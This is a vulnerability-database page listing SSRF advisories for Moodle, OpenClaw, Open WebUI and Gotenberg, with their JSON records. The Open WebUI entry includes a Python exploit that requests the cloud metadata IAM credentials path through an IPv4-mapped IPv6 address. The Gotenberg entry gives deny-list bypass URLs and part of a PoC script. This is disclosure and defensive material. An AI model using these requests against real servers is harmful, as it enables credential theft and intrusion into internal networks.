GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration
Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

5865 vulnerabilities reference this CWE, most recent first.

GHSA-4RMJ-W58M-FVCH

Vulnerability from github – Published: 2023-03-06 21:30 – Updated: 2025-03-05 19:05
VLAI
Summary
Moodle vulnerable to Server-Side Request Forgery
Details

In Moodle, insufficient redirect handling made it possible to blindly bypass cURL blocked hosts/allowed ports restrictions, resulting in a blind SSRF risk.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "moodle/moodle"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.11.0-beta"
            },
            {
              "fixed": "3.11.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "moodle/moodle"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.10.0-beta"
            },
            {
              "fixed": "3.10.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "moodle/moodle"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.9.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-36396"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-03-07T20:56:50Z",
    "nvd_published_at": "2023-03-06T21:15:00Z",
    "severity": "HIGH"
  },
  "details": "In Moodle, insufficient redirect handling made it possible to blindly bypass cURL blocked hosts/allowed ports restrictions, resulting in a blind SSRF risk.",
  "id": "GHSA-4rmj-w58m-fvch",
  "modified": "2025-03-05T19:05:46Z",
  "published": "2023-03-06T21:30:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-36396"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/moodle/moodle"
    },
    {
      "type": "WEB",
      "url": "https://moodle.org/mod/forum/discuss.php?d=424802"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Moodle vulnerable to Server-Side Request Forgery"
}

GHSA-4RQQ-W8V4-7P47

Vulnerability from github – Published: 2026-03-04 19:03 – Updated: 2026-04-24 20:59
VLAI
Summary
OpenClaw has incomplete IPv4 special-use SSRF blocking in web fetch guard
Details

Summary

isPrivateIpv4() in bundled SSRF guard code missed several IPv4 special-use/non-global ranges, so web_fetch could allow targets that should be blocked by SSRF policy.

Affected Packages / Versions

  • Package: openclaw (npm)
  • Latest published affected version: 2026.2.21-2 (published 2026-02-21)
  • Structured vulnerable range: <= 2026.2.21-2
  • Planned patched version (pre-set): >= 2026.2.22

Impact

Low severity. Exploitation requires network reachability to the relevant special-use ranges and a request path that reaches web_fetch URL fetching.

Technical Details

Affected releases used narrow IPv4 private-range checks that omitted multiple RFC special-use/non-global ranges. This allowed requests such as http://198.18.0.1/... through SSRF validation in affected releases. Follow-up hardening consolidates local-host/tailnet range checks so gateway/browser/tailnet paths share one canonical IP classification flow.

Fix Commit(s)

  • 71bd15bb4294d3d1b54386064d69cd0f5f731bd8
  • 44dfbd23df453e51b71ef79a148c28c53e89168c
  • 333fbb86347998526dd514290adfd5f727caa6d9
  • f14ebd743cfc73f667fae80af70043d0ab1f88bd

OpenClaw thanks @princeeismond-dot for reporting.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.2.22"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32019"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-04T19:03:45Z",
    "nvd_published_at": "2026-03-19T22:16:35Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n`isPrivateIpv4()` in bundled SSRF guard code missed several IPv4 special-use/non-global ranges, so `web_fetch` could allow targets that should be blocked by SSRF policy.\n\n### Affected Packages / Versions\n- Package: `openclaw` (npm)\n- Latest published affected version: `2026.2.21-2` (published 2026-02-21)\n- Structured vulnerable range: `\u003c= 2026.2.21-2`\n- Planned patched version (pre-set): `\u003e= 2026.2.22`\n\n### Impact\nLow severity. Exploitation requires network reachability to the relevant special-use ranges and a request path that reaches `web_fetch` URL fetching.\n\n### Technical Details\nAffected releases used narrow IPv4 private-range checks that omitted multiple RFC special-use/non-global ranges. This allowed requests such as `http://198.18.0.1/...` through SSRF validation in affected releases. Follow-up hardening consolidates local-host/tailnet range checks so gateway/browser/tailnet paths share one canonical IP classification flow.\n\n### Fix Commit(s)\n- `71bd15bb4294d3d1b54386064d69cd0f5f731bd8`\n- `44dfbd23df453e51b71ef79a148c28c53e89168c`\n- `333fbb86347998526dd514290adfd5f727caa6d9`\n- `f14ebd743cfc73f667fae80af70043d0ab1f88bd`\n\nOpenClaw thanks @princeeismond-dot for reporting.",
  "id": "GHSA-4rqq-w8v4-7p47",
  "modified": "2026-04-24T20:59:05Z",
  "published": "2026-03-04T19:03:45Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-4rqq-w8v4-7p47"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32019"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/333fbb86347998526dd514290adfd5f727caa6d9"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/44dfbd23df453e51b71ef79a148c28c53e89168c"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/71bd15bb4294d3d1b54386064d69cd0f5f731bd8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/f14ebd743cfc73f667fae80af70043d0ab1f88bd"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-incomplete-ipv4-special-use-range-blocking-in-ssrf-guard"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenClaw has incomplete IPv4 special-use SSRF blocking in web fetch guard"
}

GHSA-4V28-J6Q3-5M4R

Vulnerability from github – Published: 2026-09-10 15:10 – Updated: 2026-09-10 15:10
VLAI
Summary
Open WebUI: SSRF into internal services via DNS rebinding in the Playwright web loader
Details

Summary

With the Playwright web loader enabled, Open WebUI checks the address behind a user-submitted URL before allowing the request, then handed the request to the browser to perform. The browser resolved the hostname a second time, on its own, and that answer was never checked. An attacker who controls the authoritative DNS for a hostname they submit can answer the first lookup with a public address and the second with an internal one, so the browser connects to an address the check exists to block. The connection-layer pinning that protects the other fetch paths could not apply here, because the request ran inside the browser rather than through our own HTTP clients.

Preconditions

  • WEB_LOADER_ENGINE=playwright. This is not the default, and deployments on the default web loader are unaffected.
  • A reachable Playwright browser, either local or via PLAYWRIGHT_WS_URL.
  • Any authenticated user who can submit a URL for ingestion or trigger a web search. No administrator role is required.
  • Control of the authoritative DNS for a hostname the attacker submits, serving a short TTL and alternating answers. No timing race is needed, because the two lookups are separate queries the attacker answers differently.
  • Internal services the browser process can actually reach. A deployment whose browser has no route to internal addresses loses nothing here.

Impact

An authenticated user can make the server read HTTP responses from addresses only it can reach: cloud instance metadata, loopback-bound admin APIs, and internal services on the same network. The response body is fulfilled back into the page, and the loader returns that page as the document, so the content lands in the web-search or ingestion result the user receives. On a cloud host with IMDSv1 reachable, that is enough to take instance IAM credentials.

Because the intercepted request forwards the original method and headers, a page the attacker controls can also drive requests that need a header or a non-GET method, which covers the header-gated metadata endpoints. This is a read primitive; no modification of Open WebUI data and no availability impact was demonstrated. Deployments on the default web loader are not affected at all.

Fix

Fixed in 0.11.1 by commit 27402ff21 (#28634). The interceptor no longer asks the browser to perform the request. It issues the request from the SSRF-safe HTTP client instead, which resolves the hostname once and connects to that same validated address, re-validates every redirect hop, and then fulfils the browser with the response it received. Upgrading to 0.11.1 fully resolves this, and no configuration change is required.

Root cause

Affected component: SafePlaywrightURLLoader in backend/open_webui/retrieval/web/utils.py, in both the sync and async request interceptors. Affected setup: only builds running the Playwright loader engine.

The address check and the connection were performed by two different resolvers in two different processes. Validation resolved the hostname in Python and inspected the result, then the request was handed to the browser, which resolved the name again and connected to whatever it got. Playwright's request-fetch API offers no way to pin a connection to an already-validated address, so the fix that had been applied to the other fetch paths, resolving once and connecting to that same address, could not reach this one. The check was therefore an opinion about an earlier lookup rather than a constraint on the connection that followed.

Proof of concept

Reproduced against the real implementation: the validation and interception code was taken unmodified, with only the module-level configuration constants stubbed at their documented defaults, and driven against a real Chromium instance inside an unprivileged network namespace with an authoritative DNS server answering the first lookup public and the second internal. Instance metadata and a loopback service were both reached, with the response body returned through the page. A second run showed an attacker-controlled page driving the header-gated metadata sequence to completion. The path from the HTTP endpoint to the loader was traced in source rather than driven end to end.

Credits

  • @baeseungwon1010 — identified that the address check and the browser's own resolution are two separate lookups, so the check cannot constrain where the browser connects.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "open-webui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.9.6"
            },
            {
              "fixed": "0.11.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-87996"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-367",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-10T15:10:12Z",
    "nvd_published_at": "2026-09-09T22:18:47Z",
    "severity": "HIGH"
  },
  "details": "## Summary\nWith the Playwright web loader enabled, Open WebUI checks the address behind a user-submitted URL before allowing the request, then handed the request to the browser to perform. The browser resolved the hostname a second time, on its own, and that answer was never checked. An attacker who controls the authoritative DNS for a hostname they submit can answer the first lookup with a public address and the second with an internal one, so the browser connects to an address the check exists to block. The connection-layer pinning that protects the other fetch paths could not apply here, because the request ran inside the browser rather than through our own HTTP clients.\n\n## Preconditions\n- `WEB_LOADER_ENGINE=playwright`. This is not the default, and deployments on the default web loader are unaffected.\n- A reachable Playwright browser, either local or via `PLAYWRIGHT_WS_URL`.\n- Any authenticated user who can submit a URL for ingestion or trigger a web search. No administrator role is required.\n- Control of the authoritative DNS for a hostname the attacker submits, serving a short TTL and alternating answers. No timing race is needed, because the two lookups are separate queries the attacker answers differently.\n- Internal services the browser process can actually reach. A deployment whose browser has no route to internal addresses loses nothing here.\n\n## Impact\nAn authenticated user can make the server read HTTP responses from addresses only it can reach: cloud instance metadata, loopback-bound admin APIs, and internal services on the same network. The response body is fulfilled back into the page, and the loader returns that page as the document, so the content lands in the web-search or ingestion result the user receives. On a cloud host with IMDSv1 reachable, that is enough to take instance IAM credentials.\n\nBecause the intercepted request forwards the original method and headers, a page the attacker controls can also drive requests that need a header or a non-GET method, which covers the header-gated metadata endpoints. This is a read primitive; no modification of Open WebUI data and no availability impact was demonstrated. Deployments on the default web loader are not affected at all.\n\n## Fix\nFixed in 0.11.1 by commit `27402ff21` (#28634). The interceptor no longer asks the browser to perform the request. It issues the request from the SSRF-safe HTTP client instead, which resolves the hostname once and connects to that same validated address, re-validates every redirect hop, and then fulfils the browser with the response it received. Upgrading to 0.11.1 fully resolves this, and no configuration change is required.\n\n## Root cause\nAffected component: `SafePlaywrightURLLoader` in `backend/open_webui/retrieval/web/utils.py`, in both the sync and async request interceptors. Affected setup: only builds running the Playwright loader engine.\n\nThe address check and the connection were performed by two different resolvers in two different processes. Validation resolved the hostname in Python and inspected the result, then the request was handed to the browser, which resolved the name again and connected to whatever it got. Playwright\u0027s request-fetch API offers no way to pin a connection to an already-validated address, so the fix that had been applied to the other fetch paths, resolving once and connecting to that same address, could not reach this one. The check was therefore an opinion about an earlier lookup rather than a constraint on the connection that followed.\n\n## Proof of concept\nReproduced against the real implementation: the validation and interception code was taken unmodified, with only the module-level configuration constants stubbed at their documented defaults, and driven against a real Chromium instance inside an unprivileged network namespace with an authoritative DNS server answering the first lookup public and the second internal. Instance metadata and a loopback service were both reached, with the response body returned through the page. A second run showed an attacker-controlled page driving the header-gated metadata sequence to completion. The path from the HTTP endpoint to the loader was traced in source rather than driven end to end.\n\n## Credits\n- **@baeseungwon1010** \u2014 identified that the address check and the browser\u0027s own resolution are two separate lookups, so the check cannot constrain where the browser connects.",
  "id": "GHSA-4v28-j6q3-5m4r",
  "modified": "2026-09-10T15:10:12Z",
  "published": "2026-09-10T15:10:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-4v28-j6q3-5m4r"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-87996"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/pull/28634"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/commit/27402ff210bfa253445720920dfb86b15a00327b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-webui/open-webui"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/releases/tag/v0.11.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Open WebUI: SSRF into internal services via DNS rebinding in the Playwright web loader"
}

GHSA-4V64-W7V7-CH7F

Vulnerability from github – Published: 2023-07-10 18:30 – Updated: 2024-10-16 12:30
VLAI
Details

An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-42079"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-07-10T16:15:47Z",
    "severity": "MODERATE"
  },
  "details": "An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests.",
  "id": "GHSA-4v64-w7v7-ch7f",
  "modified": "2024-10-16T12:30:47Z",
  "published": "2023-07-10T18:30:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-42079"
    },
    {
      "type": "WEB",
      "url": "https://cisrt.divd.nl/DIVD-2021-00020"
    },
    {
      "type": "WEB",
      "url": "https://csirt.divd.nl/CVE-2021-42079"
    },
    {
      "type": "WEB",
      "url": "https://www.divd.nl/DIVD-2021-00020"
    },
    {
      "type": "WEB",
      "url": "https://www.osnexus.com/products/software-defined-storage"
    },
    {
      "type": "WEB",
      "url": "https://www.wbsec.nl/osnexus"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4V7R-F4W8-8972

Vulnerability from github – Published: 2026-05-14 20:18 – Updated: 2026-05-15 23:53
VLAI
Summary
Open WebUI has a full SSRF Vulnerability in the RAG Web Search Feature
Details

SSRF Bypass via IPv6/IPv4-mapped IPv6/IPv4-reserved-ranges in validate_url()

Summary

validate_url() in backend/open_webui/retrieval/web/utils.py calls validators.ipv6(ip, private=True), but the validators library does NOT implement the private keyword for IPv6 — the call raises a ValidationError (which is falsy in a boolean context), so every IPv6 address passes the filter. In addition, IPv4-mapped IPv6 (::ffff:10.0.0.1) bypasses the IPv4 check entirely, and several reserved IPv4 ranges (0.0.0.0/8, 100.64.0.0/10, 192.0.0.0/24, etc.) are not blocked.

The vulnerability has existed since the validate_url() function was introduced and was NOT actually fixed by GHSA-c6xv-rcvw-v685 / CVE-2025-65958 despite that patch's intent. It affects every endpoint that calls validate_url(), including /api/v1/retrieval/process/web, /api/v1/images/edit, and others.

Affected code

backend/open_webui/retrieval/web/utils.py validate_url():

if validators.ipv6(ip, private=True):  # ValidationError is falsy — never raises
    raise ValueError(...)

Proof of concept

import validators
print(validators.ipv6("::1", private=True))
# ValidationError(func=ipv6, args={'reason': "ipv6() got an unexpected keyword argument 'private'", ...})

End-to-end exploit:

import requests, ipaddress

OPEN_WEBUI_URL = "https://target"
TOKEN = "..."
TARGET_IPV4 = "169.254.169.254"   # AWS IMDSv1
mapped = "::ffff:" + TARGET_IPV4

requests.post(f"{OPEN_WEBUI_URL}/api/v1/retrieval/process/web",
              headers={"Authorization": f"Bearer {TOKEN}"},
              json={"collection_name": "", "url": f"http://[{mapped}]/latest/meta-data/iam/security-credentials/"})

Impact

Any authenticated user can reach any internal IPv4/IPv6 address from the server process — cloud metadata, localhost-bound APIs, internal services. IMDSv1 reachability leads to IAM credential exfiltration.

Recommended fix

Replace the validators library calls with stdlib ipaddress:

import ipaddress
addr = ipaddress.ip_address(ip)
if addr.is_private or addr.is_loopback or addr.is_link_local or addr.is_multicast or addr.is_reserved or addr.is_unspecified:
    raise ValueError(...)
# also unwrap IPv4-mapped IPv6 and re-check:
if isinstance(addr, ipaddress.IPv6Address) and addr.ipv4_mapped:
    addr_v4 = addr.ipv4_mapped
    if addr_v4.is_private or addr_v4.is_loopback or ...:
        raise ValueError(...)
# plus explicit blocks for IANA reserved ranges (0.0.0.0/8, 100.64.0.0/10, etc. — see body for full list).

Related but separate advisories

  • Redirect-bypass cluster: GHSA-rh5x-h6pp-cjj6
  • DNS rebinding TOCTOU: GHSA-h6x2-583h-x99r
  • urlparse / requests parsing-differential: GHSA-8w7q-q5jp-jvgx
  • Playwright loader redirect: GHSA-jrfp-m64g-pcwv
  • Missing validate_url() call in image_generations: GHSA-h7cc-wwjp-5xqh

Credits

  • Dor Konis (dkonis, GE Vernova) — first to identify the validators.ipv6(private=True) silent-fail and IPv4-mapped IPv6 bypass; GHSA-4v7r-f4w8-8972 (this filing, 2024-09-11; credit explicitly requested in original report).
  • wlayzz — first to identify the unblocked IPv4 reserved ranges (0.0.0.0/8, 100.64.0.0/10, 192.0.2.0/24, 198.18.0.0/15, 203.0.113.0/24, etc.); GHSA-pxgj-3gvh-mfjv.

Subsequent filings (GHSA-mggf-94hh-vp4w by vnth4nhnt, GHSA-xhgr-g5q7-jg6p by L1M1T-HACK) re-described the same root cause on the same or different endpoints and were closed as duplicates without advisory credit — fixing validate_url() once resolves all of them.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.8.12"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "open-webui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45331"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-14T20:18:54Z",
    "nvd_published_at": "2026-05-15T20:16:48Z",
    "severity": "HIGH"
  },
  "details": "# SSRF Bypass via IPv6/IPv4-mapped IPv6/IPv4-reserved-ranges in `validate_url()`\n\n## Summary\n\n`validate_url()` in `backend/open_webui/retrieval/web/utils.py` calls `validators.ipv6(ip, private=True)`, but the `validators` library does NOT implement the `private` keyword for IPv6 \u2014 the call raises a `ValidationError` (which is falsy in a boolean context), so every IPv6 address passes the filter. In addition, IPv4-mapped IPv6 (`::ffff:10.0.0.1`) bypasses the IPv4 check entirely, and several reserved IPv4 ranges (`0.0.0.0/8`, `100.64.0.0/10`, `192.0.0.0/24`, etc.) are not blocked.\n\nThe vulnerability has existed since the `validate_url()` function was introduced and was NOT actually fixed by GHSA-c6xv-rcvw-v685 / CVE-2025-65958 despite that patch\u0027s intent. It affects every endpoint that calls `validate_url()`, including `/api/v1/retrieval/process/web`, `/api/v1/images/edit`, and others.\n\n## Affected code\n\n`backend/open_webui/retrieval/web/utils.py validate_url()`:\n\n```python\nif validators.ipv6(ip, private=True):  # ValidationError is falsy \u2014 never raises\n    raise ValueError(...)\n```\n\n## Proof of concept\n\n```python\nimport validators\nprint(validators.ipv6(\"::1\", private=True))\n# ValidationError(func=ipv6, args={\u0027reason\u0027: \"ipv6() got an unexpected keyword argument \u0027private\u0027\", ...})\n```\n\nEnd-to-end exploit:\n\n```python\nimport requests, ipaddress\n\nOPEN_WEBUI_URL = \"https://target\"\nTOKEN = \"...\"\nTARGET_IPV4 = \"169.254.169.254\"   # AWS IMDSv1\nmapped = \"::ffff:\" + TARGET_IPV4\n\nrequests.post(f\"{OPEN_WEBUI_URL}/api/v1/retrieval/process/web\",\n              headers={\"Authorization\": f\"Bearer {TOKEN}\"},\n              json={\"collection_name\": \"\", \"url\": f\"http://[{mapped}]/latest/meta-data/iam/security-credentials/\"})\n```\n\n## Impact\n\nAny authenticated user can reach any internal IPv4/IPv6 address from the server process \u2014 cloud metadata, localhost-bound APIs, internal services. IMDSv1 reachability leads to IAM credential exfiltration.\n\n## Recommended fix\n\nReplace the `validators` library calls with stdlib `ipaddress`:\n\n```python\nimport ipaddress\naddr = ipaddress.ip_address(ip)\nif addr.is_private or addr.is_loopback or addr.is_link_local or addr.is_multicast or addr.is_reserved or addr.is_unspecified:\n    raise ValueError(...)\n# also unwrap IPv4-mapped IPv6 and re-check:\nif isinstance(addr, ipaddress.IPv6Address) and addr.ipv4_mapped:\n    addr_v4 = addr.ipv4_mapped\n    if addr_v4.is_private or addr_v4.is_loopback or ...:\n        raise ValueError(...)\n# plus explicit blocks for IANA reserved ranges (0.0.0.0/8, 100.64.0.0/10, etc. \u2014 see body for full list).\n```\n\n## Related but separate advisories\n\n- Redirect-bypass cluster: GHSA-rh5x-h6pp-cjj6\n- DNS rebinding TOCTOU: GHSA-h6x2-583h-x99r\n- urlparse / requests parsing-differential: GHSA-8w7q-q5jp-jvgx\n- Playwright loader redirect: GHSA-jrfp-m64g-pcwv\n- Missing `validate_url()` call in image_generations: GHSA-h7cc-wwjp-5xqh\n\n## Credits\n\n- **Dor Konis (dkonis, GE Vernova)** \u2014 first to identify the `validators.ipv6(private=True)` silent-fail and IPv4-mapped IPv6 bypass; GHSA-4v7r-f4w8-8972 (this filing, 2024-09-11; credit explicitly requested in original report).\n- **wlayzz** \u2014 first to identify the unblocked IPv4 reserved ranges (0.0.0.0/8, 100.64.0.0/10, 192.0.2.0/24, 198.18.0.0/15, 203.0.113.0/24, etc.); GHSA-pxgj-3gvh-mfjv.\n\nSubsequent filings (GHSA-mggf-94hh-vp4w by vnth4nhnt, GHSA-xhgr-g5q7-jg6p by L1M1T-HACK) re-described the same root cause on the same or different endpoints and were closed as duplicates without advisory credit \u2014 fixing `validate_url()` once resolves all of them.",
  "id": "GHSA-4v7r-f4w8-8972",
  "modified": "2026-05-15T23:53:48Z",
  "published": "2026-05-14T20:18:54Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-4v7r-f4w8-8972"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45331"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-c6xv-rcvw-v685"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-webui/open-webui"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/releases/tag/v0.9.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Open WebUI has a full SSRF Vulnerability in the RAG Web Search Feature"
}

GHSA-4VMC-GM8V-M35H

Vulnerability from github – Published: 2026-05-07 01:15 – Updated: 2026-05-14 20:52
VLAI
Summary
Gotenberg vulnerable to unauthenticated SSRF via default deny-list bypass in downloadFrom and webhook
Details

Summary

The default deny-lists used by Gotenberg's downloadFrom feature and webhook feature are bypassable. Because the filter is regex-based and case-sensitive, an unauthenticated attacker can supply URLs such as http://[::ffff:127.0.0.1]:... and reach loopback or private HTTP services that the default deny-list is intended to block. This crosses a real security boundary because an external caller can force the server to make outbound requests to internal-only targets.

Details

The issue originates from the shipped default deny-list regexes and the way those regexes are applied:

  • pkg/modules/api/api.go:198-200 defines the default api-download-from-deny-list.
  • pkg/modules/webhook/webhook.go:41-43 defines the default webhook-deny-list.
  • pkg/gotenberg/filter.go:20-69 evaluates those patterns with regexp2 using case-sensitive matching.

The attacker-controlled URL then reaches outbound request sinks:

  • pkg/modules/api/context.go:208-282
  • Reads attacker-supplied downloadFrom.
  • Calls gotenberg.FilterDeadline(...).
  • Issues an outbound GET with retryablehttp.NewRequest(...) and client.Do(...).
  • pkg/modules/webhook/middleware.go:99-217
  • Reads Gotenberg-Webhook-Url and Gotenberg-Webhook-Events-Url.
  • Calls gotenberg.FilterDeadline(...).
  • Constructs a client for outbound delivery.
  • pkg/modules/webhook/client.go:39-152
  • Sends the success or error webhook request.
  • pkg/modules/webhook/client.go:155-216
  • Sends the webhook event request.

Why the bypass works:

  1. The default deny-list only blocks lowercase http:// and https:// prefixes.
  2. The filtering logic performs case-sensitive regex matching on the raw user input.
  3. Go's HTTP stack accepts multiple textual representations of loopback/private addresses that are not covered by the default regex, including IPv4-mapped IPv6 loopback like http://[::ffff:127.0.0.1]:18081/....
  4. As a result, a URL can fail the deny-list check but still be interpreted as a valid loopback/private destination by the outbound client.

Confirmed bypass used during verification:

  • http://[::ffff:127.0.0.1]:18081/page_1.pdf
  • http://[::ffff:127.0.0.1]:18082/upload
  • http://[::ffff:127.0.0.1]:18082/events

This is not the same issue as the previously published Chromium deny-list advisories. This finding affects the separate downloadFrom and webhook URL filtering paths.

PoC

One-command verification

From the repository root:

cd '/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg'
./tmp/poc/verify_ssrf_poc.sh

What the script does:

  1. Builds or reuses a slim local Gotenberg image that contains only the modules needed for this proof.
  2. Starts Gotenberg on 127.0.0.1:3000.
  3. Starts an internal-only helper listener inside the same container network namespace.
  4. Verifies downloadFrom SSRF by forcing Gotenberg to fetch a PDF from http://[::ffff:127.0.0.1]:18081/page_1.pdf.
  5. Verifies webhook SSRF by forcing Gotenberg to POST to http://[::ffff:127.0.0.1]:18082/upload and http://[::ffff:127.0.0.1]:18082/events.
  6. Writes evidence artifacts to disk.

Expected success output:

[4/6] Verifying downloadFrom SSRF bypass with http://[::ffff:127.0.0.1]:18081/page_1.pdf
PASS downloadFrom: Gotenberg fetched an internal-only loopback URL and returned PDF metadata
[5/6] Verifying webhook SSRF bypass with http://[::ffff:127.0.0.1]:18082/upload
PASS webhook: Gotenberg POSTed to an internal-only loopback listener

Evidence files created by the script:

  • /Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg/tmp/poc/artifacts/downloadfrom-metadata.json
  • /Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg/tmp/poc/artifacts/webhook.log

Manual evidence commands

The following commands were run after the verifier completed successfully:

jq '.' '/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg/tmp/poc/artifacts/downloadfrom-metadata.json'
cat '/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg/tmp/poc/artifacts/webhook.log'

Observed output:

{
  "page_1.pdf": {
    "CreateDate": "2025:02:17 14:46:38+00:00",
    "FileType": "PDF",
    "FileTypeExtension": "pdf",
    "Linearized": "No",
    "MIMEType": "application/pdf",
    "ModifyDate": "2025:02:17 14:46:38+00:00",
    "PDFVersion": 1.7,
    "PageCount": 1,
    "Producer": "PDFTron built-in office converter, V11.2.0-d27340a176\n",
    "SourceFile": "/tmp/d924af59-709e-4d08-8ebc-dafec9048235/b0d0dcdc-84ff-4919-8fe6-f6bdbbd9a68a/eae4a9bc-e3e3-48e2-b5bd-114408d87d84.pdf"
  }
}
POST /upload len=4363 content-type=application/pdf
POST /events len=126 content-type=application/json

PoC Video:

https://github.com/user-attachments/assets/a70a4e09-e9a7-4df8-a9a5-77b09fbd59f3

Interpretation:

  • The JSON metadata proves Gotenberg successfully fetched and parsed a PDF from an internal loopback URL.
  • The webhook log proves Gotenberg sent outbound requests to internal loopback endpoints that should have been blocked by the default deny-list.

verify_ssrf_poc.sh

#!/usr/bin/env bash
set -euo pipefail

ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")/../.." && pwd)"
IMAGE="${IMAGE:-gotenberg-local-ssrf-poc:minimal}"
DOCKERFILE="${DOCKERFILE:-$ROOT/tmp/poc/Dockerfile.minimal}"
GOTENBERG_NAME="${GOTENBERG_NAME:-gotenberg-ssrf-poc}"
HELPER_NAME="${HELPER_NAME:-gotenberg-ssrf-helper}"
PORT="${PORT:-3000}"
ARTIFACT_DIR="${ARTIFACT_DIR:-$ROOT/tmp/poc/artifacts}"
TEST_PDF="$ROOT/test/integration/testdata/page_1.pdf"
